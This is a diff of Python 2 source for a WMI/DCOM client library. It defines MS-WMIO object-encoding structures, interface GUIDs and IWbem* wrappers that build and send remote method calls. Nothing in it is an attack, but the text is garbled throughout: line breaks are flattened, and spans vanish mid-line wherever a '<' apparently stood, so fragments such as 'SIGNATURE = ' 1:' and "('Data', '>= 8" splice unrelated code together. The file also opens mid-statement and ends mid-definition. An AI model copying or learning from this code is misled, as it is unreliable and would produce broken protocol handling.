Error: code: 0x%x - %s' % (self.error_code, WBEMSTATUS.enumItems(self.error_code).name) + except: + return 'WMI SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# WMIO Structures and Constants +################################################################################ +WBEM_FLAVOR_FLAG_PROPAGATE_O_INSTANCE = 0x01 +WBEM_FLAVOR_FLAG_PROPAGATE_O_DERIVED_CLASS = 0x02 +WBEM_FLAVOR_NOT_OVERRIDABLE = 0x10 +WBEM_FLAVOR_ORIGIN_PROPAGATED = 0x20 +WBEM_FLAVOR_ORIGIN_SYSTEM = 0x40 +WBEM_FLAVOR_AMENDED = 0x80 + +# 2.2.6 ObjectFlags +OBJECT_FLAGS = 'B=0' + +#2.2.77 Signature +SIGNATURE = ' 1: + if self['Encoded_String_Flag'] == 0: + self.structure += self.tascii + # Let's search for the end of the string + index = data[1:].find('\x00') + data = data[:index+1+1] + else: + self.structure = self.tunicode + index = data[1:].find('\x00\x00') + data = data[:index+1+2] + self.fromString(data) + else: + self.structure = self.tascii + self.data = None + + +# 2.2.8 DecServerName +DEC_SERVER_NAME = ENCODED_STRING + +# 2.2.9 DecNamespaceName +DEC_NAMESPACE_NAME = ENCODED_STRING + +# 2.2.7 Decoration +class DECORATION(Structure): + structure = ( + ('DecServerName', ':', DEC_SERVER_NAME), + ('DecNamespaceName', ':', DEC_NAMESPACE_NAME), + ) + +# 2.2.69 HeapRef +HEAPREF = ' 0: + itemn = QUALIFIER(data) + if itemn['QualifierName'] == 0xffffffff: + qName = '' + elif itemn['QualifierName'] & 0x80000000: + qName = DICTIONARY_REFERENCE[itemn['QualifierName'] & 0x7fffffff] + else: + qName = ENCODED_STRING(heap[itemn['QualifierName']:])['Character'] + + value = ENCODED_VALUE.getValue(itemn['QualifierType'], itemn['QualifierValue'], heap) + qualifiers[qName] = value + data = data[len(itemn):] + + return qualifiers + +# 2.2.20 ClassQualifierSet +CLASS_QUALIFIER_SET = QUALIFIER_SET + +# 2.2.22 PropertyCount +PROPERTY_COUNT = ' 0: + record = QUALIFIER(qualifiersBuf) + if record['QualifierName'] & 0x80000000: + qualifierName = DICTIONARY_REFERENCE[record['QualifierName'] & 0x7fffffff] + else: + qualifierName = ENCODED_STRING(heap[record['QualifierName']:])['Character'] + qualifierValue = ENCODED_VALUE.getValue(record['QualifierType'], record['QualifierValue'], heap) + qualifiersBuf = qualifiersBuf[len(record):] + qualifiers[qualifierName] = qualifierValue + + propItemDict['qualifiers'] = qualifiers + properties[propName] = propItemDict + + propTable = propTable[self.PropertyLookupSize:] + + return OrderedDict(sorted(properties.items(), key=lambda x:x[1]['order'])) + #return properties + +# 2.2.66 Heap +HEAP_LENGTH = ' 0: + value = ENCODED_VALUE.getValue(properties[key]['type'], itemValue, heap) + properties[key]['value'] = "%s" % value + valueTable = valueTable[dataSize:] + return properties + +# 2.2.39 MethodCount +METHOD_COUNT = ' 0: + methodDict['InParams'] = inputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties() + methodDict['InParamsRaw'] = inputSignature['ObjectBlock'] + #print methodDict['InParams'] + else: + methodDict['InParams'] = None + if itemn['OutputSignature'] != 0xffffffff: + outputSignature = METHOD_SIGNATURE_BLOCK(heap[itemn['OutputSignature']:]) + if outputSignature['EncodingLength'] > 0: + methodDict['OutParams'] = outputSignature['ObjectBlock']['ClassType']['CurrentClass'].getProperties() + methodDict['OutParamsRaw'] = outputSignature['ObjectBlock'] + else: + methodDict['OutParams'] = None + data = data[len(itemn):] + methods[methodDict['name']] = methodDict + + return methods + +# 2.2.14 ClassAndMethodsPart +class CLASS_AND_METHODS_PART(Structure): + structure = ( + ('ClassPart', ':', CLASS_PART), + ('MethodsPart', ':', METHODS_PART), + ) + + def getClassName(self): + pClassName = self['ClassPart']['ClassHeader']['ClassNameRef'] + cHeap = self['ClassPart']['ClassHeap']['HeapItem'] + if pClassName == 0xffffffff: + return 'None' + else: + className = ENCODED_STRING(cHeap[pClassName:])['Character'] + derivationList = self['ClassPart']['DerivationList']['ClassNameEncoding'] + while len(derivationList) > 0: + superClass = ENCODED_STRING(derivationList)['Character'] + className += ' : %s ' % superClass + derivationList = derivationList[len(ENCODED_STRING(derivationList))+4:] + return className + + def getQualifiers(self): + return self["ClassPart"].getQualifiers() + + def getProperties(self): + #print format_structure(self["ClassPart"].getProperties()) + return self["ClassPart"].getProperties() + + def getMethods(self): + return self["MethodsPart"].getMethods() + +# 2.2.13 CurrentClass +CURRENT_CLASS = CLASS_AND_METHODS_PART + +# 2.2.54 InstanceFlags +INSTANCE_FLAGS = 'B=0' + +# 2.2.55 InstanceClassName +INSTANCE_CLASS_NAME = HEAP_STRING_REF + +# 2.2.27 NullAndDefaultFlag +NULL_AND_DEFAULT_FLAG = 'B=0' + +# 2.2.26 NdTable +NDTABLE = NULL_AND_DEFAULT_FLAG + +# 2.2.56 InstanceData +#InstanceData = ValueTable + +class CURRENT_CLASS_NO_METHODS(CLASS_AND_METHODS_PART): + structure = ( + ('ClassPart', ':', CLASS_PART), + ) + def getMethods(self): + return () + +# 2.2.65 InstancePropQualifierSet +INST_PROP_QUAL_SET_FLAG = 'B=0' +class INSTANCE_PROP_QUALIFIER_SET(Structure): + commonHdr = ( + ('InstPropQualSetFlag', INST_PROP_QUAL_SET_FLAG), + ) + tail = ( + # ToDo: this is wrong.. this should be an array of QualifierSet, see documentation + #('QualifierSet', ':', QualifierSet), + ('QualifierSet', ':', QUALIFIER_SET), + ) + + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + self.structure = () + if data is not None: + # Let's first check the commonHdr + self.fromString(data) + if self['InstPropQualSetFlag'] == 2: + # We don't support this yet! + raise + self.fromString(data) + else: + self.data = None + +# 2.2.57 InstanceQualifierSet +class INSTANCE_QUALIFIER_SET(Structure): + structure = ( + ('QualifierSet', ':', QUALIFIER_SET), + ('InstancePropQualifierSet', ':', INSTANCE_PROP_QUALIFIER_SET), + ) + +# 2.2.58 InstanceHeap +INSTANCE_HEAP = HEAP + +# 2.2.53 InstanceType +class INSTANCE_TYPE(Structure): + commonHdr = ( + ('CurrentClass', ':', CURRENT_CLASS_NO_METHODS), + ('EncodingLength', ENCODING_LENGTH), + ('InstanceFlags', INSTANCE_FLAGS), + ('InstanceClassName', INSTANCE_CLASS_NAME), + ('_NdTable_ValueTable', '_-NdTable_ValueTable', + 'self["CurrentClass"]["ClassPart"]["ClassHeader"]["NdTableValueTableLength"]'), + ('NdTable_ValueTable',':'), + ('InstanceQualifierSet', ':', INSTANCE_QUALIFIER_SET), + ('InstanceHeap', ':', INSTANCE_HEAP), + ) + + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + self.structure = () + if data is not None: + # Let's first check the commonHdr + self.fromString(data) + #hexdump(data[len(self.getData()):]) + self.NdTableSize = (self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] - 1) /4 + 1 + #self.InstanceDataSize = self['CurrentClass']['ClassPart']['PropertyLookupTable']['PropertyCount'] * len(InstanceData()) + self.fromString(data) + else: + self.data = None + + def getValues(self, properties): + heap = self["InstanceHeap"]["HeapItem"] + valueTableOff = (len(properties) - 1) / 4 + 1 + valueTable = self['NdTable_ValueTable'][valueTableOff:] + sorted_props = sorted(properties.keys(), key=lambda k: properties[k]['order']) + for key in sorted_props: + pType = properties[key]['type'] & (~(CIM_ARRAY_FLAG|Inherited)) + if properties[key]['type'] & CIM_ARRAY_FLAG: + unpackStr = HEAPREF[:-2] + else: + unpackStr = CIM_TYPES_REF[pType][:-2] + dataSize = calcsize(unpackStr) + try: + itemValue = unpack(unpackStr, valueTable[:dataSize])[0] + except: + LOG.error("getValues: Error Unpacking!") + itemValue = 0xffffffff + + # if itemValue == 0, default value remains + if itemValue != 0: + value = ENCODED_VALUE.getValue( properties[key]['type'], itemValue, heap) + else: + value = 0 + properties[key]['value'] = value + valueTable = valueTable[dataSize:] + return properties + +# 2.2.12 ParentClass +PARENT_CLASS = CLASS_AND_METHODS_PART + +# 2.2.13 CurrentClass +CURRENT_CLASS = CLASS_AND_METHODS_PART + +class CLASS_TYPE(Structure): + structure = ( + ('ParentClass', ':', PARENT_CLASS), + ('CurrentClass', ':', CURRENT_CLASS), + ) + +# 2.2.5 ObjectBlock +class OBJECT_BLOCK(Structure): + commonHdr = ( + ('ObjectFlags', OBJECT_FLAGS), + ) + + decoration = ( + ('Decoration', ':', DECORATION), + ) + + instanceType = ( + ('InstanceType', ':', INSTANCE_TYPE), + ) + + classType = ( + ('ClassType', ':', CLASS_TYPE), + ) + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + self.ctParent = None + self.ctCurrent = None + + if data is not None: + self.structure = () + if ord(data[0]) & 0x4: + # WMIO - 2.2.6 - 0x04 If this flag is set, the object has a Decoration block. + self.structure += self.decoration + if ord(data[0]) & 0x01: + # The object is a CIM class. + self.structure += self.classType + else: + self.structure += self.instanceType + + self.fromString(data) + else: + self.data = None + + def isInstance(self): + if self['ObjectFlags'] & 0x01: + return False + return True + + def printClass(self, pClass, cInstance = None): + qualifiers = pClass.getQualifiers() + + for qualifier in qualifiers: + print "[%s]" % qualifier + + className = pClass.getClassName() + + print "class %s \n{" % className + + properties = pClass.getProperties() + if cInstance is not None: + properties = cInstance.getValues(properties) + + for pName in properties: + #if property['inherited'] == 0: + qualifiers = properties[pName]['qualifiers'] + for qName in qualifiers: + if qName != 'CIMTYPE': + print '\t[%s(%s)]' % (qName, qualifiers[qName]) + print "\t%s %s" % (properties[pName]['stype'], properties[pName]['name']), + if properties[pName]['value'] is not None: + print '= %s\n' % properties[pName]['value'] + else: + print '\n' + + print + methods = pClass.getMethods() + for methodName in methods: + for qualifier in methods[methodName]['qualifiers']: + print '\t[%s]' % qualifier + + if methods[methodName]['InParams'] is None and methods[methodName]['OutParams'] is None: + print '\t%s %s();\n' % ('void', methodName) + if methods[methodName]['InParams'] is None and len(methods[methodName]['OutParams']) == 1: + print '\t%s %s();\n' % (methods[methodName]['OutParams']['ReturnValue']['stype'], methodName) + else: + returnValue = '' + if methods[methodName]['OutParams'] is not None: + # Search the Return Value + #returnValue = (item for item in method['OutParams'] if item["name"] == "ReturnValue").next() + if methods[methodName]['OutParams'].has_key('ReturnValue'): + returnValue = methods[methodName]['OutParams']['ReturnValue']['stype'] + + print '\t%s %s(\n' % (returnValue, methodName), + if methods[methodName]['InParams'] is not None: + for pName in methods[methodName]['InParams']: + print '\t\t[in] %s %s,' % (methods[methodName]['InParams'][pName]['stype'], pName) + + if methods[methodName]['OutParams'] is not None: + for pName in methods[methodName]['OutParams']: + if pName != 'ReturnValue': + print '\t\t[out] %s %s,' % (methods[methodName]['OutParams'][pName]['stype'], pName) + + print '\t);\n' + + print "}" + + def parseClass(self, pClass, cInstance = None): + classDict = OrderedDict() + classDict['name'] = pClass.getClassName() + classDict['qualifiers'] = pClass.getQualifiers() + classDict['properties'] = pClass.getProperties() + classDict['methods'] = pClass.getMethods() + if cInstance is not None: + classDict['values'] = cInstance.getValues(classDict['properties']) + else: + classDict['values'] = None + + return classDict + + def parseObject(self): + if (self['ObjectFlags'] & 0x01) == 0: + # instance + ctCurrent = self['InstanceType']['CurrentClass'] + currentName = ctCurrent.getClassName() + if currentName is not None: + self.ctCurrent = self.parseClass(ctCurrent, self['InstanceType']) + return + else: + ctParent = self['ClassType']['ParentClass'] + ctCurrent = self['ClassType']['CurrentClass'] + + parentName = ctParent.getClassName() + if parentName is not None: + self.ctParent = self.parseClass(ctParent) + + currentName = ctCurrent.getClassName() + if currentName is not None: + self.ctCurrent = self.parseClass(ctCurrent) + + def printInformation(self): + # First off, do we have a class? + if (self['ObjectFlags'] & 0x01) == 0: + # instance + ctCurrent = self['InstanceType']['CurrentClass'] + currentName = ctCurrent.getClassName() + if currentName is not None: + self.printClass(ctCurrent, self['InstanceType']) + return + else: + ctParent = self['ClassType']['ParentClass'] + ctCurrent = self['ClassType']['CurrentClass'] + + parentName = ctParent.getClassName() + if parentName is not None: + self.printClass(ctParent) + + currentName = ctCurrent.getClassName() + if currentName is not None: + self.printClass(ctCurrent) + +# 2.2.70 MethodSignatureBlock +class METHOD_SIGNATURE_BLOCK(Structure): + commonHdr = ( + ('EncodingLength', ENCODING_LENGTH), + ) + tail = ( + ('_ObjectBlock', '_-ObjectBlock', 'self["EncodingLength"]'), + ('ObjectBlock', ':', OBJECT_BLOCK), + ) + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + if data is not None: + self.fromString(data) + if self['EncodingLength'] > 0: + self.structure = () + self.structure += self.tail + self.fromString(data) + else: + self.data = None + +# 2.2.1 EncodingUnit +class ENCODING_UNIT(Structure): + structure = ( + ('Signature', SIGNATURE), + ('ObjectEncodingLength', OBJECT_ENCODING_LENGTH), + ('_ObjectBlock', '_-ObjectBlock', 'self["ObjectEncodingLength"]'), + ('ObjectBlock', ':', OBJECT_BLOCK), + ) + +################################################################################ +# CONSTANTS +################################################################################ +# 1.9 Standards Assignments +CLSID_WbemLevel1Login = string_to_bin('8BC3F05E-D86B-11D0-A075-00C04FB68820') +CLSID_WbemBackupRestore = string_to_bin('C49E32C6-BC8B-11D2-85D4-00105A1F8304') +CLSID_WbemClassObject = string_to_bin('4590F812-1D3A-11D0-891F-00AA004B2E24') + +IID_IWbemLevel1Login = uuidtup_to_bin(('F309AD18-D86A-11d0-A075-00C04FB68820', '0.0')) +IID_IWbemLoginClientID = uuidtup_to_bin(('d4781cd6-e5d3-44df-ad94-930efe48a887', '0.0')) +IID_IWbemLoginHelper = uuidtup_to_bin(('541679AB-2E5F-11d3-B34E-00104BCC4B4A', '0.0')) +IID_IWbemServices = uuidtup_to_bin(('9556DC99-828C-11CF-A37E-00AA003240C7', '0.0')) +IID_IWbemBackupRestore = uuidtup_to_bin(('C49E32C7-BC8B-11d2-85D4-00105A1F8304', '0.0')) +IID_IWbemBackupRestoreEx = uuidtup_to_bin(('A359DEC5-E813-4834-8A2A-BA7F1D777D76', '0.0')) +IID_IWbemClassObject = uuidtup_to_bin(('DC12A681-737F-11CF-884D-00AA004B2E24', '0.0')) +IID_IWbemContext = uuidtup_to_bin(('44aca674-e8fc-11d0-a07c-00c04fb68820', '0.0')) +IID_IEnumWbemClassObject = uuidtup_to_bin(('027947e1-d731-11ce-a357-000000000001', '0.0')) +IID_IWbemCallResult = uuidtup_to_bin(('44aca675-e8fc-11d0-a07c-00c04fb68820', '0.0')) +IID_IWbemFetchSmartEnum = uuidtup_to_bin(('1C1C45EE-4395-11d2-B60B-00104B703EFD', '0.0')) +IID_IWbemWCOSmartEnum = uuidtup_to_bin(('423EC01E-2E35-11d2-B604-00104B703EFD', '0.0')) + +error_status_t = ULONG + +# lFlags +WBEM_FLAG_RETURN_WBEM_COMPLETE = 0x00000000 +WBEM_FLAG_UPDATE_ONLY = 0x00000001 +WBEM_FLAG_CREATE_ONLY = 0x00000002 +WBEM_FLAG_RETURN_IMMEDIATELY = 0x00000010 +WBEM_FLAG_UPDATE_SAFE_MODE = 0x00000020 +WBEM_FLAG_FORWARD_ONLY = 0x00000020 +WBEM_FLAG_NO_ERROR_OBJECT = 0x00000040 +WBEM_FLAG_UPDATE_FORCE_MODE = 0x00000040 +WBEM_FLAG_SEND_STATUS = 0x00000080 +WBEM_FLAG_ENSURE_LOCATABLE = 0x00000100 +WBEM_FLAG_DIRECT_READ = 0x00000200 +WBEM_MASK_RESERVED_FLAGS = 0x0001F000 +WBEM_FLAG_USE_AMENDED_QUALIFIERS = 0x00020000 +WBEM_FLAG_STRONG_VALIDATION = 0x00100000 +WBEM_FLAG_BACKUP_RESTORE_FORCE_SHUTDOWN = 0x00000001 + +WBEM_INFINITE = 0xffffffff + +################################################################################ +# STRUCTURES +################################################################################ +class UCHAR_ARRAY_CV(NDRUniConformantVaryingArray): + item = 'c' + +class PUCHAR_ARRAY_CV(NDRPOINTER): + referent = ( + ('Data', UCHAR_ARRAY_CV), + ) + +class PMInterfacePointer_ARRAY_CV(NDRUniConformantVaryingArray): + item = PMInterfacePointer + +REFGUID = PGUID + +class ULONG_ARRAY(NDRUniConformantArray): + item = ULONG + +class PULONG_ARRAY(NDRPOINTER): + referent = ( + ('Data', ULONG_ARRAY), + ) + +# 2.2.5 WBEM_CHANGE_FLAG_TYPE Enumeration +class WBEM_CHANGE_FLAG_TYPE(NDRENUM): + # [v1_enum] type + structure = ( + ('Data', '>= 8 + + # Now let's update the structure + objRef = self.get_objRef() + objRef = OBJREF_CUSTOM(objRef) + encodingUnit = ENCODING_UNIT(objRef['pObjectData']) + + currentClass = encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] + encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = '' + + encodingUnit['ObjectBlock']['InstanceType']['NdTable_ValueTable'] = packedNdTable + valueTable + encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 + encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapItem'] = instanceHeap + + encodingUnit['ObjectBlock']['InstanceType']['EncodingLength'] = len(encodingUnit['ObjectBlock']['InstanceType']) + encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = currentClass + + encodingUnit['ObjectEncodingLength'] = len(encodingUnit['ObjectBlock']) + + #encodingUnit.dump() + #ENCODING_UNIT(str(encodingUnit)).dump() + + objRef['pObjectData'] = encodingUnit + + return objRef + + def SpawnInstance(self): + # Doing something similar to: + # http://msdn.microsoft.com/en-us/library/aa391458(v=vs.85).aspx + # + if self.encodingUnit['ObjectBlock'].isInstance() is False: + # We need to convert some things to transform a class into an instance + encodingUnit = ENCODING_UNIT() + + instanceData = OBJECT_BLOCK() + instanceData.structure += OBJECT_BLOCK.decoration + instanceData.structure += OBJECT_BLOCK.instanceType + instanceData['ObjectFlags'] = 6 + instanceData['Decoration'] = str(self.encodingUnit['ObjectBlock']['Decoration']) + + instanceType = INSTANCE_TYPE() + instanceType['CurrentClass'] = '' + + # Let's create the heap for the parameters + instanceHeap = '' + valueTable = '' + parametersClass = ENCODED_STRING() + parametersClass['Character'] = self.getClassName() + instanceHeap += str(parametersClass) + curHeapPtr = len(instanceHeap) + + ndTable = 0 + properties = self.getProperties() + + # Let's initialize the values + for i, propName in enumerate(properties): + propRecord = properties[propName] + + pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited)) + if propRecord['type'] & CIM_ARRAY_FLAG: + # Not yet ready + #print paramDefinition + #raise + packStr = HEAPREF[:-2] + else: + packStr = CIM_TYPES_REF[pType][:-2] + + if propRecord['type'] & CIM_ARRAY_FLAG: + valueTable += pack(packStr, 0) + elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value, + CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value): + valueTable += pack(packStr, 0) + elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: + # For now we just pack None + valueTable += '\x00'*4 + # The default property value is NULL, and it is + # inherited from a parent class. + ndTable |= 3 << (2*i) + else: + strIn = ENCODED_STRING() + strIn['Character'] = '' + valueTable += pack('>= 8 + + instanceType['NdTable_ValueTable'] = packedNdTable + valueTable + + instanceType['InstanceQualifierSet'] = '\x04\x00\x00\x00\x01' + + instanceType['InstanceHeap'] = HEAP() + instanceType['InstanceHeap']['HeapItem'] = instanceHeap + instanceType['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 + instanceType['EncodingLength'] = len(instanceType) + + instanceType['CurrentClass'] = self.encodingUnit['ObjectBlock']['ClassType']['CurrentClass']['ClassPart'] + instanceData['InstanceType'] = str(instanceType) + + encodingUnit['ObjectBlock'] = instanceData + encodingUnit['ObjectEncodingLength'] = len(instanceData) + + #ENCODING_UNIT(str(encodingUnit)).dump() + + objRefCustomIn = OBJREF_CUSTOM() + objRefCustomIn['iid'] = self._iid + objRefCustomIn['clsid'] = CLSID_WbemClassObject + objRefCustomIn['cbExtension'] = 0 + objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit) + objRefCustomIn['pObjectData'] = encodingUnit + + # There's gotta be a better way to do this + # I will reimplement this stuff once I know it works + import copy + newObj = copy.deepcopy(self) + newObj.set_objRef(str(objRefCustomIn)) + newObj.process_interface(str(objRefCustomIn)) + newObj.encodingUnit = ENCODING_UNIT(str(encodingUnit)) + newObj.parseObject() + if newObj.encodingUnit['ObjectBlock'].isInstance() is False: + newObj.createMethods(newObj.getClassName(), newObj.getMethods()) + else: + newObj.createProperties(newObj.getProperties()) + + return newObj + else: + return self + + def createProperties(self, properties): + for property in properties: + setattr(self, property, properties[property]['value']) + + def createMethods(self, classOrInstance, methods): + class FunctionPool: + def __init__(self,function): + self.function = function + def __getitem__(self,item): + return partial(self.function,item) + + @FunctionPool + def innerMethod(staticArgs, *args): + classOrInstance = staticArgs[0] + methodDefinition = staticArgs[1] + if methodDefinition['InParams'] is not None: + if len(args) != len(methodDefinition['InParams']): + LOG.error("Function called with %d parameters instead of %d!" % (len(args), len(methodDefinition['InParams']))) + return None + # In Params + encodingUnit = ENCODING_UNIT() + + inParams = OBJECT_BLOCK() + inParams.structure += OBJECT_BLOCK.instanceType + inParams['ObjectFlags'] = 2 + inParams['Decoration'] = '' + + instanceType = INSTANCE_TYPE() + instanceType['CurrentClass'] = '' + instanceType['InstanceQualifierSet'] = '\x04\x00\x00\x00\x01' + + # Let's create the heap for the parameters + instanceHeap = '' + valueTable = '' + parametersClass = ENCODED_STRING() + parametersClass['Character'] = '__PARAMETERS' + instanceHeap += str(parametersClass) + curHeapPtr = len(instanceHeap) + + ndTable = 0 + for i in range(len(args)): + paramDefinition = methodDefinition['InParams'].values()[i] + inArg = args[i] + + pType = paramDefinition['type'] & (~(CIM_ARRAY_FLAG|Inherited)) + if paramDefinition['type'] & CIM_ARRAY_FLAG: + # Not yet ready + #print paramDefinition + #raise + packStr = HEAPREF[:-2] + else: + packStr = CIM_TYPES_REF[pType][:-2] + + if paramDefinition['type'] & CIM_ARRAY_FLAG: + + if inArg is None: + valueTable += pack(packStr, 0) + else: + # ToDo + # Not yet ready + raise + elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value, + CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value): + valueTable += pack(packStr, inArg) + elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: + # For now we just pack None + valueTable += '\x00'*4 + # The default property value is NULL, and it is + # inherited from a parent class. + if inArg is None: + ndTable |= 3 << (2*i) + else: + strIn = ENCODED_STRING() + if type(inArg) is unicode: + # The Encoded-String-Flag is set to 0x01 if the sequence of characters that follows + # consists of UTF-16 characters (as specified in [UNICODE]) followed by a UTF-16 null + # terminator. + strIn['Encoded_String_Flag'] = 0x1 + strIn.structure = strIn.tunicode + strIn['Character'] = inArg.encode('utf-16le') + else: + strIn['Character'] = inArg + valueTable += pack('>= 8 + + instanceType['NdTable_ValueTable'] = packedNdTable + valueTable + heapRecord = HEAP() + heapRecord['HeapLength'] = len(instanceHeap) | 0x80000000 + heapRecord['HeapItem'] = instanceHeap + + instanceType['InstanceHeap'] = heapRecord + + instanceType['EncodingLength'] = len(instanceType) + inMethods = methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'] + inMethods['ClassHeader']['EncodingLength'] = len( + str(methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'])) + instanceType['CurrentClass'] = inMethods + + inParams['InstanceType'] = str(instanceType) + + encodingUnit['ObjectBlock'] = inParams + encodingUnit['ObjectEncodingLength'] = len(inParams) + + objRefCustomIn = OBJREF_CUSTOM() + objRefCustomIn['iid'] = self._iid + objRefCustomIn['clsid'] = CLSID_WbemClassObject + objRefCustomIn['cbExtension'] = 0 + objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit) + objRefCustomIn['pObjectData'] = encodingUnit + else: + objRefCustomIn = NULL + + ### OutParams + encodingUnit = ENCODING_UNIT() + + outParams = OBJECT_BLOCK() + outParams.structure += OBJECT_BLOCK.instanceType + outParams['ObjectFlags'] = 2 + outParams['Decoration'] = '' + + instanceType = INSTANCE_TYPE() + instanceType['CurrentClass'] = '' + instanceType['NdTable_ValueTable'] = '' + instanceType['InstanceQualifierSet'] = '' + instanceType['InstanceHeap'] = '' + instanceType['EncodingLength'] = len(instanceType) + instanceType['CurrentClass'] = str(methodDefinition['OutParamsRaw']['ClassType']['CurrentClass']['ClassPart']) + outParams['InstanceType'] = str(instanceType) + + + encodingUnit['ObjectBlock'] = outParams + encodingUnit['ObjectEncodingLength'] = len(outParams) + + objRefCustom = OBJREF_CUSTOM() + objRefCustom['iid'] = self._iid + objRefCustom['clsid'] = CLSID_WbemClassObject + objRefCustom['cbExtension'] = 0 + objRefCustom['ObjectReferenceSize'] = len(encodingUnit) + objRefCustom['pObjectData'] = encodingUnit + try: + return self.__iWbemServices.ExecMethod(classOrInstance, methodDefinition['name'], pInParams = objRefCustomIn ) + #return self.__iWbemServices.ExecMethod('Win32_Process.Handle="436"', methodDefinition['name'], + # pInParams=objRefCustomIn).getObject().ctCurrent['properties'] + except Exception, e: + #import traceback + #print traceback.print_exc() + LOG.error(str(e)) + + for methodName in methods: + innerMethod.__name__ = methodName + setattr(self,innerMethod.__name__,innerMethod[classOrInstance,methods[methodName]]) + #methods = self.encodingUnit['ObjectBlock'] + + +class IWbemLoginClientID(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemLoginClientID + + def SetClientInfo(self, wszClientMachine, lClientProcId = 1234): + request = IWbemLoginClientID_SetClientInfo() + request['wszClientMachine'] = checkNullString(wszClientMachine) + request['lClientProcId'] = lClientProcId + request['lReserved'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + +class IWbemLoginHelper(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemLoginHelper + + def SetEvent(self, sEventToSet): + request = IWbemLoginHelper_SetEvent() + request['sEventToSet'] = sEventToSet + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + +class IWbemWCOSmartEnum(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemWCOSmartEnum + + def Next(self, proxyGUID, lTimeout, uCount): + request = IWbemWCOSmartEnum_Next() + request['proxyGUID'] = proxyGUID + request['lTimeout'] = lTimeout + request['uCount'] = uCount + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemFetchSmartEnum(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemFetchSmartEnum + + def GetSmartEnum(self, lTimeout): + request = IWbemFetchSmartEnum_GetSmartEnum() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemCallResult(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemCallResult + + def GetResultObject(self, lTimeout): + request = IWbemCallResult_GetResultObject() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetResultString(self, lTimeout): + request = IWbemCallResult_GetResultString() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetResultServices(self, lTimeout): + request = IWbemCallResult_GetResultServices() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetCallStatus(self, lTimeout): + request = IWbemCallResult_GetCallStatus() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['plStatus'] + +class IEnumWbemClassObject(IRemUnknown): + def __init__(self, interface, iWbemServices = None): + IRemUnknown.__init__(self,interface) + self._iid = IID_IEnumWbemClassObject + self.__iWbemServices = iWbemServices + + def Reset(self): + request = IEnumWbemClassObject_Reset() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def Next(self, lTimeout, uCount): + request = IEnumWbemClassObject_Next() + request['lTimeout'] = lTimeout + request['uCount'] = uCount + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + interfaces = list() + for interface in resp['apObjects']: + interfaces.append(IWbemClassObject( + INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target()), self.__iWbemServices)) + + return interfaces + + def NextAsync(self, lTimeout, pSink): + request = IEnumWbemClassObject_NextAsync() + request['lTimeout'] = lTimeout + request['pSink'] = pSink + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def Clone(self): + request = IEnumWbemClassObject_Clone() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def Skip(self, lTimeout, uCount): + request = IEnumWbemClassObject_Skip() + request['lTimeout'] = lTimeout + request['uCount'] = uCount + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemServices(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemServices + + def OpenNamespace(self, strNamespace, lFlags=0, pCtx = NULL): + request = IWbemServices_OpenNamespace() + request['strNamespace']['asData'] = strNamespace + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def 